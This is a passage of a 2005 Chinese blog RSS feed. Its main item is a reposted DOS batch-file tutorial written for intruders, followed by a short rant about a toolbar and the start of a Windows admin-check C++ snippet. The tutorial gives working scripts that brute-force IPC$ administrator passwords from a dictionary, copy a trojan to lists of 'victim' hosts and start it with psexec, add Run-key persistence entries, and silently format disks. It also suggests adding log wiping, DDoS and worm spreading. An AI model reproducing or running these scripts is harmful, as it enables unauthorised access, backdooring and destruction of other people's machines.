		<div> </div>
		<div>
				<a href="http://evaxp.com/ksblog/post/607.html">
						<font color="#003399">3721之无耻全面教育</font>
				</a>。</div>
		<div>具体自己看，俺来总结一下：</div>
		<div>1，对于在办公室上网的同志，因为3721会把很多黄色网站放在你的地址栏，有些按钮会把你引导到黄色电影网站(?)，所以如果不小心极其影响声誉！</div>
		<div>2，对于想不断提高电脑性能的发烧友，3721会严重影响电脑的性能。稍微负责任的程序是不会乱安装钩子和乱开线程的。</div>
		<div>3，对于电脑配置比较差的，同2</div>
		<div>4，对于想“我的电脑我做主”的，就不用说了，这种强奸民意的病毒杀之而后快。</div>
<img src ="http://www.cppblog.com/aqazero/aggbug/14218.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2005-12-19 09:26 <a href="http://www.cppblog.com/aqazero/archive/2005/12/19/14218.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编写DOS批处理文件[转] </title><link>http://www.cppblog.com/aqazero/archive/2005/12/19/14203.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 19 Dec 2005 00:52:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2005/12/19/14203.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/14203.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2005/12/19/14203.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/14203.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/14203.html</trackback:ping><description><![CDATA[
		<p>原文地址<a href="http://www.xker.com/article/articleview/2005-2-6/article_view_523.htm">http://www.xker.com/article/articleview/2005-2-6/article_view_523.htm</a></p>
		<p>如果没有一定的相关知识恐怕不容易看懂和理解批处理文件，也就更谈不上自己动手编写了</p>
		<p>批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。</p>
		<p>一.简单批处理内部命令简介<br />1.Echo 命令<br />打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。<br />语法<br />echo [{ on|off }] [message]<br />Sample：@echo off / echo hello world<br />在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。</p>
		<p>2.@ 命令<br />表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。<br />Sample：@echo off<br />@echo Now initializing the program,please wait a minite...<br />@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)</p>
		<p>3.Goto 命令<br />指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。<br />语法：goto label （label是参数，指定所要转向的批处理程序中的行。）<br />Sample：<br />if { %1 }=={ } goto noparms<br />if { %2 }=={ } goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）<br />@Rem check parameters if null show usage<br />:noparms<br />echo Usage: monitor.bat ServerIP PortNumber<br />goto end<br />标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。</p>
		<p>4.Rem 命令<br />注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。<br />Rem Message<br />Sample：@Rem Here is the description.</p>
		<p>5.Pause 命令<br />运行 Pause 命令时，将显示下面的消息：<br />Press any key to continue . . .<br />Sample：<br />@echo off<br />:begin<br />copy a:*.* d：//back<br />echo Please put a new disk into driver A<br />pause<br />goto begin<br />在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d://back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。</p>
		<p>6.Call 命令<br />从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。<br />语法<br />call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]<br />参数<br />[Drive: }[Path] FileName<br />指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。</p>
		<p>7.start 命令<br />调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。<br />入侵常用参数：<br />MIN 开始时窗口最小化<br />SEPARATE 在分开的空间内开始 16 位 Windows 程序<br />HIGH 在 HIGH 优先级类别开始应用程序<br />REALTIME 在 REALTIME 优先级类别开始应用程序<br />WAIT 启动应用程序并等候它结束<br />parameters 这些为传送到命令/程序的参数<br />执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。<br />8.choice 命令<br />choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……<br />如: choice /c:dme defrag,mem,end<br />将显示<br />defrag,mem,end[D,M,E]?<br />Sample：<br />Sample.bat的内容如下:<br />@echo off<br />choice /c:dme defrag,mem,end<br />if errorlevel 3 goto defrag （应先判断数值最高的错误码）<br />if errorlevel 2 goto mem<br />if errotlevel 1 goto end</p>
		<p>:defrag<br />c://dos//defrag<br />goto end<br />:mem<br />mem<br />goto end<br />:end<br />echo good bye</p>
		<p>此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。</p>
		<p>9.If 命令</p>
		<p>if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:<br />1、if "参数" == "字符串" 　待执行的命令<br />参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）<br />如if "%1"=="a" format a:<br />if { %1 }=={ } goto noparms<br />if { %2 }=={ } goto noparms</p>
		<p>2、if exist 文件名　 待执行的命令<br />如果有指定的文件，则条件成立，运行命令，否则运行下一句。<br />如if exist config.sys edit config.sys</p>
		<p>3、if errorlevel / if not errorlevel 数字　 待执行的命令<br />如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。<br />如if errorlevel 2 goto x2 　<br />DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。</p>
		<p>10.for 命令<br />for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。<br />在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable</p>
		<p>for { %variable|%%variable } in (set) do command [ CommandLineOptions]<br />%variable 指定一个单一字母可替换的参数。<br />(set) 指定一个或一组文件。可以使用通配符。<br />command 指定对每个文件执行的命令。<br />command-parameters 为特定命令指定参数或命令行开关。<br />在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<br />而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I</p>
		<p>如果命令扩展名被启用，下列额外的 FOR 命令格式会受到<br />支持:</p>
		<p>FOR /D %variable IN (set) DO command [command-parameters]</p>
		<p>如果集中包含通配符，则指定与目录名匹配，而不与文件<br />名匹配。</p>
		<p>FOR /R [[drive:]path] %variable IN (set) DO command [command-</p>
		<p>检查以 [drive:]path 为根的目录树，指向每个目录中的<br />FOR 语句。如果在 /R 后没有指定目录，则使用当前<br />目录。如果集仅为一个单点(.)字符，则枚举该目录树。</p>
		<p>FOR /L %variable IN (start,step,end) DO command [command-para</p>
		<p>该集表示以增量形式从开始到结束的一个数字序列。<br />因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生<br />序列 (5 4 3 2 1)。</p>
		<p>FOR /F ["options"] %variable IN (file-set) DO command<br />FOR /F ["options"] %variable IN ("string") DO command<br />FOR /F ["options"] %variable IN (/'command/') DO command</p>
		<p>或者，如果有 usebackq 选项:</p>
		<p>FOR /F ["options"] %variable IN (file-set) DO command<br />FOR /F ["options"] %variable IN ("string") DO command<br />FOR /F ["options"] %variable IN (/'command/') DO command</p>
		<p>filenameset 为一个或多个文件名。继续到 filenameset 中的<br />下一个文件之前，每份文件都已被打开、读取并经过处理。<br />处理包括读取文件，将其分成一行行的文字，然后将每行<br />解析成零或更多的符号。然后用已找到的符号字符串变量值<br />调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开<br />的第一个空白符号。跳过空白行。您可通过指定可选 "options"<br />参数替代默认解析操作。这个带引号的字符串包括一个或多个<br />指定不同解析选项的关键字。这些关键字为:</p>
		<p>eol=c - 指一个行注释字符的结尾(就一个)<br />skip=n - 指在文件开始时忽略的行数。<br />delims=xxx - 指分隔符集。这个替换了空格和跳格键的<br />默认分隔符集。<br />tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代<br />的 for 本身。这会导致额外变量名称的<br />格式为一个范围。通过 nth 符号指定 m<br />符号字符串中的最后一个字符星号，<br />那么额外的变量将在最后一个符号解析之<br />分配并接受行的保留文本。<br />usebackq - 指定新语法已在下类情况中使用:<br />在作为命令执行一个后引号的字符串并且<br />引号字符为文字字符串命令并允许在 fi<br />中使用双引号扩起文件名称。</p>
		<p>sample1:<br />FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command</p>
		<p>会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将<br />每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或<br />空格定界符号。请注意，这个 for 程序体的语句引用 %i 来<br />取得第二个符号，引用 %j 来取得第三个符号，引用 %k<br />来取得第三个符号后的所有剩余符号。对于带有空格的文件<br />名，您需要用双引号将文件名括起来。为了用这种方式来使<br />用双引号，您还需要使用 usebackq 选项，否则，双引号会<br />被理解成是用作定义某个要分析的字符串的。</p>
		<p>%i 专门在 for 语句中得到说明，%j 和 %k 是通过<br />tokens= 选项专门得到说明的。您可以通过 tokens= 一行<br />指定最多 26 个符号，只要不试图说明一个高于字母 /'z/' 或<br />/'Z/' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；<br />同时不能有 52 个以上都在使用中。</p>
		<p>您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，<br />用单引号将括号之间的 filenameset 括起来。这样，该字符<br />串会被当作一个文件中的一个单一输入行。</p>
		<p>最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将<br />括号之间的 filenameset 变成一个反括字符串。该字符串会<br />被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进<br />内存，并被当作文件分析。因此，以下例子:</p>
		<p>FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i</p>
		<p>会枚举当前环境中的环境变量名称。</p>
		<p>另外，FOR 变量参照的替换已被增强。您现在可以使用下列<br />选项语法:</p>
		<p>~I - 删除任何引号(")，扩充 %I<br />%~fI - 将 %I 扩充到一个完全合格的路径名<br />%~dI - 仅将 %I 扩充到一个驱动器号<br />%~pI - 仅将 %I 扩充到一个路径<br />%~nI - 仅将 %I 扩充到一个文件名<br />%~xI - 仅将 %I 扩充到一个文件扩展名<br />%~sI - 扩充的路径只含有短名<br />%~aI - 将 %I 扩充到文件的文件属性<br />%~tI - 将 %I 扩充到文件的日期/时间<br />%~zI - 将 %I 扩充到文件的大小<br />%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充<br />到找到的第一个完全合格的名称。如果环境变量<br />未被定义，或者没有找到文件，此组合键会扩充<br />空字符串</p>
		<p>可以组合修饰符来得到多重结果:</p>
		<p>%~dpI - 仅将 %I 扩充到一个驱动器号和路径<br />%~nxI - 仅将 %I 扩充到一个文件名和扩展名<br />%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名<br />%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充<br />到找到的第一个驱动器号和路径。<br />%~ftzaI - 将 %I 扩充到类似输出线路的 DIR</p>
		<p>在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法<br />用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名<br />比较易读，而且避免与不分大小写的组合键混淆。</p>
		<p>以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。</p>
		<p>sample2：</p>
		<p>利用For命令来实现对一台目标Win2k主机的暴力密码破解。<br />我们用net use ////ip//ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。<br />最主要的命令是一条：for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator"<br />用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－<br />for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":命令成功完成"&gt;&gt;D://ok.txt ，这样就ko了。</p>
		<p>sample3：</p>
		<p>你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。</p>
		<p>主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）<br />@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k<br />tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。<br />而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。<br />delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。<br />代码雏形：<br />--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------<br />@echo off<br />@if "%1"=="" goto usage<br />@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k<br />@goto end<br />:usage<br />@echo run this batch in dos modle.or just double-click it.<br />:end<br />--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------</p>
		<p>
				<br />------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------<br />@net use ////%1//ipc$ %3 /u:"%2"<br />@if errorlevel 1 goto failed<br />@echo Trying to establish the IPC$ connection …………OK<br />@copy windrv32.exe////%1//admin$//system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt<br />@psexec ////%1 c://winnt//system32//windrv32.exe<br />@psexec ////%1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt<br />:failed<br />@echo Sorry can not connected to the victim.<br />----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------<br />这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容<br />尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.</p>
		<p>二.如何在批处理文件中使用参数<br />批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。<br />sample1：fomat.bat<br />@echo off<br />if "%1"=="a" format a:<br />:format<br />@format a:/q/u/auotset<br />@echo please insert another disk to driver A.<br />@pause<br />@goto fomat<br />这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^<br />sample2：<br />当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。<br />@echo off<br />@net use ////1%//ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。<br />@if errorlevel 1 echo connection failed<br />怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.No.3<br />三.如何使用组合命令(Compound Command)</p>
		<p>1.&amp;</p>
		<p>Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...]</p>
		<p>用这种方法可以同时执行多条命令，而不管命令是否执行成功</p>
		<p>Sample：<br />C://&gt;dir z: &amp; dir c://Ex4rch<br />The system cannot find the path specified.<br />Volume in drive C has no label.<br />Volume Serial Number is 0078-59FB</p>
		<p>Directory of c://Ex4rch</p>
		<p>2002-05-14 23:51 &lt;DIR&gt; .<br />2002-05-14 23:51 &lt;DIR&gt; ..<br />2002-05-14 23:51 14 sometips.gif</p>
		<p>2.&amp;&amp;</p>
		<p>Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...]</p>
		<p>用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；</p>
		<p>Sample：<br />C://&gt;dir z: &amp;&amp; dir c://Ex4rch<br />The system cannot find the path specified.</p>
		<p>C://&gt;dir c://Ex4rch &amp;&amp; dir z:<br />Volume in drive C has no label.<br />Volume Serial Number is 0078-59FB</p>
		<p>Directory of c://Ex4rch</p>
		<p>2002-05-14 23:55 &lt;DIR&gt; .<br />2002-05-14 23:55 &lt;DIR&gt; ..<br />2002-05-14 23:55 14 sometips.gif<br />1 File(s) 14 bytes<br />2 Dir(s) 768,671,744 bytes free<br />The system cannot find the path specified.</p>
		<p>在做备份的时候可能会用到这种命令会比较简单，如：<br />dir <a href="file://192.168.0.1/database/backup.mdb">file://192.168.0.1/database/backup.mdb</a> &amp;&amp; copy <a href="file://192.168.0.1/database/backup.mdb">file://192.168.0.1/database/backup.mdb</a> E://backup<br />如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：）</p>
		<p>3.||</p>
		<p>Usage：第一条命令 || 第二条命令 [|| 第三条命令...]</p>
		<p>用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；</p>
		<p>Sample：<br />C://Ex4rch&gt;dir sometips.gif || del sometips.gif<br />Volume in drive C has no label.<br />Volume Serial Number is 0078-59FB</p>
		<p>Directory of C://Ex4rch</p>
		<p>2002-05-14 23:55 14 sometips.gif<br />1 File(s) 14 bytes<br />0 Dir(s) 768,696,320 bytes free</p>
		<p>组合命令使用的例子：<br />sample：<br />@copy trojan.exe ////%1//admin$//system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 &gt;&gt;victim.txt</p>
		<p>四、管道命令的使用</p>
		<p>1.| 命令<br />Usage：第一条命令 | 第二条命令 [| 第三条命令...]<br />将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。</p>
		<p>sample：<br />time /t&gt;&gt;D://IP.log<br />netstat -n -p tcp|find ":3389"&gt;&gt;D://IP.log<br />start Explorer<br />看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。</p>
		<p>2.&gt;、&gt;&gt;输出重定向命令<br />将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 &gt;&gt;的区别在于，&gt;会清除调原有文件中的内容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。</p>
		<p>sample1：<br />echo hello world&gt;c://hello.txt (stupid example?)</p>
		<p>sample2:<br />时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：<br />运行CMD--转换目录到system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt,<br />这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,<br />日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.<br />这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:<br />CMD--fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。</p>
		<p>3.&lt; 、&gt;&amp; 、&lt;&amp;<br />&lt; 从文件中而不是从键盘中读入命令输入。<br />&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。<br />&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。<br />这些并不常用，也就不多做介绍。</p>
		<p>No.5<br />五.如何用批处理文件来操作注册表</p>
		<p>在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)<br />关于注册表的操作，常见的是创建、修改、删除。</p>
		<p>1.创建<br />创建分为两种，一种是创建子项(Subkey)</p>
		<p>我们创建一个文件，内容如下：</p>
		<p>Windows Registry Editor Version 5.00</p>
		<p>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//hacker]</p>
		<p>然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft下创建了一个名字为“hacker”的子项。</p>
		<p>另一种是创建一个项目名称<br />那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：</p>
		<p>Windows Registry Editor Version 5.00</p>
		<p>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]<br />"Invader"="Ex4rch"<br />"Door"=C:////WINNT////system32////door.exe<br />"Autodos"=dword:02</p>
		<p>这样就在[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下<br />新建了:Invader、door、about这三个项目<br />Invader的类型是“String Value”<br />door的类型是“REG SZ Value”<br />Autodos的类型是“DWORD Value”</p>
		<p>
				<br />2.修改<br />修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。</p>
		<p>3.删除<br />我们首先来说说删除一个项目名称，我们创建一个如下的文件：</p>
		<p>Windows Registry Editor Version 5.00</p>
		<p>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]<br />"Ex4rch"=-</p>
		<p>执行该脚本，[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下的"Ex4rch"就被删除了；</p>
		<p> </p>
		<p>--------------------------------------------------------------------------------</p>
		<p>以上为转载内容</p>
		<p>%CD%   当前路径current directory<br />ITH305 <a href="http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html">http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html</a><br /> <br />批处理copy特定名称目录的内容：</p>
		<p>shark的模块有二十六个，源文件分散在各个文件夹(如下)。用eclipse阅读的话要一个个把src文件的内容导入到项目中。在家摆弄的时候总算想到个方法来自动copy这些文件。(人家分类分得好好的，我把他们合并在一起，这是搞破坏哈)<br /> <br />文件目录形式:<br />shark-1.1<br />    modules<br />        SharkAPI<br />            src<br />        SharkApplicationMapPersistence<br />            DODS<br />                src<br />            Hibernate<br />                src<br />    ...<br /> <br />cpysrc.dat<br /> <br />@echo off<br />if "X%1"=="X" goto initialize<br />goto becalled<br />:initialize<br />if exist subdirs.txt del subdirs.txt&gt;nul<br />dir /d /b /a:d&gt; subdirs.txt<br />for /f %%i in (subdirs.txt ) do call E:\Resource\shark-1.1\modules\cpysrc.bat %%i<br />del subdirs.txt&gt;nul<br />goto end<br />:becalled<br />if "%1"=="src" xcopy src\*.* E:\JavaApp\Shark\src\ /s &amp;&amp; goto end<br />cd %1<br />call E:\Resource\shark-1.1\modules\cpysrc.bat<br />cd ..<br />:end<br /> <br />在cpysrc.bat保存到E:\Resource\shark-1.1\modules\下并执行就可以。cpysrc.bat将遍历当前目录下的所有目录，并copy名为src文件夹下的所有内容到E:\JavaApp\Shark\src\。</p>
<img src ="http://www.cppblog.com/aqazero/aggbug/14203.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2005-12-19 08:52 <a href="http://www.cppblog.com/aqazero/archive/2005/12/19/14203.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>NT下判断用户是否有管理员权限</title><link>http://www.cppblog.com/aqazero/archive/2005/07/25/14197.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 25 Jul 2005 01:11:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2005/07/25/14197.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/14197.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2005/07/25/14197.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/14197.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/14197.html</trackback:ping><description><![CDATA[OK,&nbsp; Thanks to Loaden found out that my original code to determine whether an user is in Administrators group is totally bullshit.<br><br>And after googling for a while, I found something and test it, simply works. I will just paste the code here. Thanks to the author and google and God.<br><br><a target="_blank" href="http://www.mihai-nita.net/article.php?artID=20070413a">http://www.mihai-nita.net/article.php?artID=20070413a</a><br>
<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;IsAdminAPI.cpp&nbsp;:&nbsp;Tests&nbsp;if&nbsp;user&nbsp;is&nbsp;Administrator&nbsp;using&nbsp;plain&nbsp;Win32&nbsp;API<br></span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;Copyright&nbsp;(c)&nbsp;April&nbsp;2007,&nbsp;Mihai&nbsp;Nita<br></span><span style="color: #008000;">//<br></span><span style="color: #000000;"><br>#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">wtypes.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br>#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">Lm.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br><br></span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;for&nbsp;ASSERT</span><span style="color: #008000;"><br></span><span style="color: #000000;">#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">crtdbg.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br><br>#include&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">IsAdminAPI.h</span><span style="color: #000000;">"</span><span style="color: #000000;"><br><br></span><span style="color: #0000ff;">bool</span><span style="color: #000000;">&nbsp;IsAdminAPI(&nbsp;WCHAR&nbsp;</span><span style="color: #0000ff;">const</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">*</span><span style="color: #000000;">szUserName&nbsp;)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;_ASSERT(szUserName);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">bool</span><span style="color: #000000;">&nbsp;bAdmin&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;LOCALGROUP_USERS_INFO_0</span><span style="color: #000000;">*</span><span style="color: #000000;">&nbsp;localGroups;<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;entriesread,&nbsp;totalentries;<br>&nbsp;&nbsp;&nbsp;&nbsp;NET_API_STATUS&nbsp;nts&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;NetUserGetLocalGroups(&nbsp;NULL,&nbsp;szUserName,&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">,&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">,&nbsp;(unsigned&nbsp;</span><span style="color: #0000ff;">char</span><span style="color: #000000;">**</span><span style="color: #000000;">)</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">localGroups,&nbsp;MAX_PREFERRED_LENGTH,&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">entriesread,&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">totalentries);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(&nbsp;nts&nbsp;</span><span style="color: #000000;">!=</span><span style="color: #000000;">&nbsp;NERR_Success&nbsp;)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NetApiBufferFree(localGroups);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: 